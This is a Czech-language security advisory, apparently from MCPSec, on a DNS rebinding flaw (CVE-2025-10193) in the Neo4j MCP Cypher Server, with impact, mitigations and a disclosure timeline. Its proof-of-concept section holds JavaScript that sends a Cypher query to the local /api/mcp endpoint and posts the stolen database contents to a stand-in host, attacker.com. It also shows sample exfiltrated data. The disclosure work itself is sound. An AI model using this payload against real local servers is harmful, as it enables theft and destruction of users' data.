Autor: Evan Harris
Dotčená komponenta: Neo4j MCP Cypher Server
Zranitelné verze: 0.2.2 až 0.3.1
CVE: CVE-2025-10193
Skóre CVSS 4.0: 7.4 (Vysoké) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Přehled

Neo4j MCP Cypher Server poskytuje HTTP endpoint pro spouštění dotazů Cypher proti databázi Neo4j.

MCPSec objevil v serveru zranitelnost typu DNS rebinding, která vzdáleným útočníkům umožňuje obejít bezpečnostní zásady prohlížeče a spouštět libovolné dotazy Cypher proti instanci databáze dostupné přes MCP.

Neo4j tento problém opravil ve verzi v0.4.0. Všichni uživatelé dotčených verzí by měli okamžitě aktualizovat.


Stejným způsobem selhávají i další nástroje popsané na tomto webu: Zranitelnost DNS rebinding v transportu SSE serveru Vet MCP a Exfiltrace a zničení dat v MLflow kvůli chybějící validaci Origin (DNS rebinding).

Dopad

Útočníci získají plný POST přístup k endpointu /api/mcp, který obsluhuje lokální Neo4j MCP Cypher Server.

To umožňuje neoprávněné spuštění libovolného dotazu Cypher, čímž útočník fakticky získá plnou administrátorskou kontrolu nad databází Neo4j. To může vést k:

  • Úplné exfiltraci citlivých informací uložených v databázi.
  • Neoprávněné úpravě dat nebo jejich poškození.
  • Smazání dat a odepření služby.

Útok DNS rebinding lze provést během několika sekund poté, co oběť navštíví škodlivou webovou stránku, a vyžaduje pouze to, aby oběť měla zranitelný server spuštěný lokálně.

Proof of Concept

Scénář útoku předpokládá, že:

  • Oběť provozuje zranitelnou verzi Neo4j MCP Cypher Serveru na svém lokálním počítači.
  • Oběť přejde na škodlivou webovou stránku ovládanou útočníkem.
  • Webová stránka provede útok DNS rebinding a přiměje prohlížeč oběti odesílat příkazy na server Neo4j.

Po dokončení rebindingu může útočník využít prohlížeč oběti k odesílání škodlivých dotazů Cypher na lokálně obsluhovaný endpoint /api/mcp. Data pak lze exfiltrovat na server útočníka, případně je manipulovat a mazat.

MCPSec provedl útok typu proof of concept následujícími kroky:

  1. Nasazení aplikace pro DNS rebinding (např. Singularity of Origin).

  2. Sestavení JavaScriptového payloadu obsluhovaného škodlivou webovou stránkou pro spuštění dotazu a exfiltraci dat.

const Neo4jRebind = () => {
  // The core attack function. It sends a malicious Cypher query.
  function attack(headers, cookie, body) {
    const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
    fetch('http://localhost:8000/api/mcp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/event-stream',
        'Connection': 'keep-alive',
        'Cache-Control': 'no-cache'
      },
      body: JSON.stringify({ query: maliciousQuery })
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
      response.text().then(databaseContents => {
        // Send the stolen database contents to the attacker's server
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          body: JSON.stringify(databaseContents)
        });
      }).catch(e => console.error('Failed to parse Neo4j response', e));
    }).catch(e => console.error("Failed to post Cypher query", e));
  }

  // Function to check if the rebound service is the target Neo4j server
  async function isService(headers, cookie, body) {
    try {
      const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
      // A successful ping (even opaque) suggests the port is open.
      return true;
    } catch (e) {
      return false;
    }
  }

  return {
    attack,
    isService
  }
}

Registry["Neo4jRebind"] = Neo4jRebind();
  1. Spuštění serveru pro sběr dat, který přijme POST požadavek obsahující ukradený obsah databáze.

Následuje příklad JSON dat exfiltrovaných z databáze oběti, obsahujících potenciálně citlivé informace o uživatelích.

{
  "results": [
    {
      "columns": ["n"],
      "data": [
        {
          "row": [
            {
              "name": "Evan Harris",
              "email": "evan.harris@example.com",
              "role": "admin",
              "password_hash": "sha256:abc123def456..."
            }
          ],
          "meta": [{...}]
        },
        {
          "row": [
            {
              "project": "Project Titan",
              "api_key": "neo-secret-key-xyz789",
              "status": "active"
            }
          ],
          "meta": [{...}]
        }
      ]
    }
  ],
  "errors": []
}

Doporučená zmírňující opatření

Pro uživatele (okamžitě)

  • Okamžitě aktualizujte na mcp-neo4j-cypher verzi v0.4.0 nebo novější. Tato verze obsahuje opravu, která validuje HTTP hlavičku Host, aby tomuto útoku zabránila.
  • Pokud nemůžete aktualizovat, přejděte z HTTP na stdio. Alternativně před svůj Neo4j Cypher MCP Server zařaďte filtr síťových požadavků, který vás ochrání před neplatnými hlavičkami host.

Tato zranitelnost byla nahlášena týmu Neo4j v souladu s postupy odpovědného zveřejnění. Tým zareagoval rychle, aby problém ověřil a opravil.


Časová osa zveřejnění

  • 2025-09-08: Neo4j potvrzuje přijetí hlášení.
  • 2025-09-09: Neo4j uznává riziko plynoucí z tohoto útočného vektoru.
  • 2025-09-09: Týmu Neo4j poskytnuty podrobné pokyny a příklady nápravy.
  • 2025-09-09: Neo4j vytváří pull request s obrannými opatřeními.
  • 2025-09-11: Vydána opravená verze v0.4.0.
  • 2025-09-11: Přiděleno CVE-2025-10193 a zveřejněno GitHub Security Advisory.
  • 2025-09-12: Dohodnuto datum zveřejnění technického bezpečnostního upozornění.
  • 2025-10-13: Technické bezpečnostní upozornění zveřejněno.

Závěr

Zranitelnost typu DNS rebinding v Neo4j MCP Cypher Serveru poukazuje na vysoké bezpečnostní riziko u vývojářských nástrojů, které vystavují lokální databázová rozhraní. Ačkoli tyto služby poskytují výkonnou lokální funkcionalitu, mohou se stát vstupní branou pro webové útoky, pokud nejsou řádně zabezpečeny. To může vést k úplné kompromitaci citlivých dat.

Poděkování patří týmu Neo4j za profesionální a rychlou reakci při opravě této zranitelnosti. Všichni uživatelé dotčené komponenty by měli aktualizovat na nejnovější verzi, aby zajistili ochranu svých dat.

Odkazy